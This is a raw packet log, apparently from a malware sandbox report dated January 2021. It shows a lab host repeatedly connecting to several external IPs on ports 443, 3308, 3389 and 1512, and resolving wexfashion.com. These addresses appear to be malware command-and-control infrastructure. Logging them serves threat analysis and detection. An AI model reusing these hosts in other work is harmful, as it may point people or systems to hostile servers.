Jan 11, 2021 20:49:42.752764940 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.871611118 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.871685028 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.871957064 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.877074003 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.929119110 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.997036934 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.040525913 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.040723085 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.042228937 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.085597992 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.100887060 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.100931883 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.101269960 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.115627050 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.161529064 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.161849022 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.171607971 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.171694994 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.215090990 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.215418100 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.254278898 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.258769035 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.258811951 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.372502089 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.372548103 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.372762918 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.376271963 CET	49386	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:43.419442892 CET	3308	49386	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:43.491105080 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.545491934 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.545661926 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.546572924 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.600698948 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.625308037 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.625464916 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.640554905 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.640830994 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.653409958 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.713695049 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.714010954 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.724001884 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.724152088 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.778902054 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.779297113 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.817342997 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.833311081 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.833362103 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.923846960 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.923887968 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:43.924225092 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:43.930486917 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:44.042309046 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.095279932 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.095427990 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.096915960 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.149806023 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.156578064 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.156610012 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.156662941 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.156702042 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.174206972 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.180532932 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:44.180634022 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:44.228626013 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.228914022 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.236505032 CET	49387	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:44.238409996 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.238606930 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.291404963 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.291765928 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.293958902 CET	3389	49387	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:44.327781916 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.344749928 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.344789028 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.448859930 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.448899031 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.449177027 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.454794884 CET	49388	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:44.507739067 CET	1512	49388	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:44.572238922 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.624811888 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:44.624918938 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.626797915 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.678955078 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:44.693638086 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:44.693912029 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.711143970 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.765935898 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:44.766160965 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.776170015 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.776397943 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.828767061 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:44.829077005 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:44.881403923 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:45.003026009 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:45.003072977 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:45.003303051 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:45.008898020 CET	49389	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:45.061548948 CET	443	49389	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:45.115968943 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.159863949 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.160175085 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.161786079 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.205029011 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.218519926 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.218586922 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.218764067 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.218818903 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.235354900 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.280996084 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.281163931 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.288285017 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.288438082 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.331543922 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.331940889 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.371114016 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.375262976 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.375304937 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.488765001 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.488811970 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.489027977 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.494668007 CET	49390	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:45.537950993 CET	3308	49390	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:45.602288961 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.656836987 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.656940937 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.658516884 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.712692022 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.743750095 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.743784904 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.743832111 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.743875027 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.750991106 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.812416077 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.812525988 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.816334009 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.816430092 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.870667934 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.870924950 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:45.911125898 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.925136089 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:45.925188065 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:46.014974117 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:46.015026093 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:46.015271902 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:46.018800974 CET	49391	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:46.072922945 CET	3389	49391	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:46.132385969 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.185281038 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.185442924 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.194962025 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.247716904 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.254853010 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.254899025 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.254980087 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.255012989 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.271426916 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.325700045 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.325989008 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.333796978 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.334136963 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.387075901 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.387444019 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.423711061 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.440558910 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.440609932 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.541870117 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.541924000 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.542188883 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.548005104 CET	49392	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:46.600895882 CET	1512	49392	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:46.663173914 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.715713024 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:46.715991974 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.717849970 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.770067930 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:46.785083055 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:46.785319090 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.798752069 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.853615999 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:46.853857040 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.864825010 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.865217924 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.917586088 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:46.917973995 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:46.955280066 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:46.970402002 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:47.089138031 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:47.089165926 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:47.089457989 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:47.095022917 CET	49393	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:47.147308111 CET	443	49393	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:47.209161997 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.252640009 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.252830029 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.254415989 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.297524929 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.309856892 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.309909105 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.309993982 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.312303066 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.323852062 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.369545937 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.369657040 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.379753113 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.380141020 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.423278093 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.423455954 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.463103056 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.466841936 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.579797983 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.579845905 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.580104113 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.585752010 CET	49394	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:47.629021883 CET	3308	49394	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:47.708420038 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.762753010 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:47.762845993 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.763849020 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.818412066 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:47.840143919 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:47.840188980 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:47.840276957 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.840315104 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.854113102 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.918047905 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:47.918458939 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.928394079 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.928615093 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:47.982753992 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:47.982848883 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:48.022192955 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:48.037154913 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:48.037193060 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:48.127453089 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:48.127495050 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:48.127532959 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:48.127559900 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:48.129561901 CET	49395	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:48.183727980 CET	3389	49395	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:48.239110947 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.292129993 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.292380095 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.294006109 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.346796989 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.354059935 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.354103088 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.354155064 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.354192972 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.368387938 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.423243046 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.423496962 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.433515072 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.433866978 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.486674070 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.486943960 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.523752928 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.539772034 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.642865896 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.642910957 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.643141985 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.648741961 CET	49396	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:48.701644897 CET	1512	49396	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:48.769520044 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:48.821544886 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:48.821757078 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:48.823842049 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:48.875482082 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:48.890332937 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:48.890436888 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:48.905747890 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:48.959968090 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:48.960210085 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:48.970334053 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:48.970542908 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:49.023360014 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:49.026271105 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:49.059262991 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:49.078470945 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:49.196846008 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:49.196888924 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:49.197150946 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:49.202922106 CET	49397	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:49.254744053 CET	443	49397	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:49.315479040 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.358886003 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.359647989 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.360604048 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.403889894 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.416773081 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.416816950 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.417006016 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.433198929 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.478349924 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.478720903 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.481935978 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.482151031 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.525521994 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.525712967 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.565947056 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.568922997 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.569032907 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.682580948 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.682626009 CET	3308	49398	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:49.682730913 CET	49398	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:49.682787895 CET	49398	3308	192.168.2.22	80.86.91.27

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2021 20:47:35.802675962 CET	52197	53	192.168.2.22	8.8.8.8
Jan 11, 2021 20:47:35.867634058 CET	53	52197	8.8.8.8	192.168.2.22
Jan 11, 2021 20:47:41.924619913 CET	53099	53	192.168.2.22	8.8.8.8
Jan 11, 2021 20:47:41.985228062 CET	53	53099	8.8.8.8	192.168.2.22
Jan 11, 2021 20:47:41.997029066 CET	52838	53	192.168.2.22	8.8.8.8
Jan 11, 2021 20:47:42.045030117 CET	53	52838	8.8.8.8	192.168.2.22
Jan 11, 2021 20:48:13.756444931 CET	61200	53	192.168.2.22	8.8.8.8
Jan 11, 2021 20:48:13.813184977 CET	53	61200	8.8.8.8	192.168.2.22
Jan 11, 2021 20:48:13.831610918 CET	49548	53	192.168.2.22	8.8.8.8
Jan 11, 2021 20:48:13.888201952 CET	53	49548	8.8.8.8	192.168.2.22
Jan 11, 2021 20:48:15.015911102 CET	55627	53	192.168.2.22	8.8.8.8
Jan 11, 2021 20:48:15.063836098 CET	53	55627	8.8.8.8	192.168.2.22
Jan 11, 2021 20:48:15.076841116 CET	56009	53	192.168.2.22	8.8.8.8
Jan 11, 2021 20:48:15.124778032 CET	53	56009	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 11, 2021 20:47:35.802675962 CET	192.168.2.22	8.8.8.8	0xfc39	Standard query (0)	wexfashion.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Jan 11, 2021 20:47:35.867634058 CET	8.8.8.8	192.168.2.22	0xfc39	No error (0)	wexfashion.com	198.54.125.162	A (IP address)	IN (0x0001)
Jan 11, 2021 20:48:15.063836098 CET	8.8.8.8	192.168.2.22	0xd799	No error (0)	cdn.digicertcdn.com	104.18.11.39	A (IP address)	IN (0x0001)
Jan 11, 2021 20:48:15.063836098 CET	8.8.8.8	192.168.2.22	0xd799	No error (0)	cdn.digicertcdn.com	104.18.10.39	A (IP address)	IN (0x0001)
Jan 11, 2021 20:48:15.124778032 CET	8.8.8.8	192.168.2.22	0x689d	No error (0)	cdn.digicertcdn.com	104.18.11.39	A (IP address)	IN (0x0001)
Jan 11, 2021 20:48:15.124778032 CET	8.8.8.8	192.168.2.22	0x689d	No error (0)	cdn.digicertcdn.com	104.18.10.39	A (IP address)	IN (0x0001)

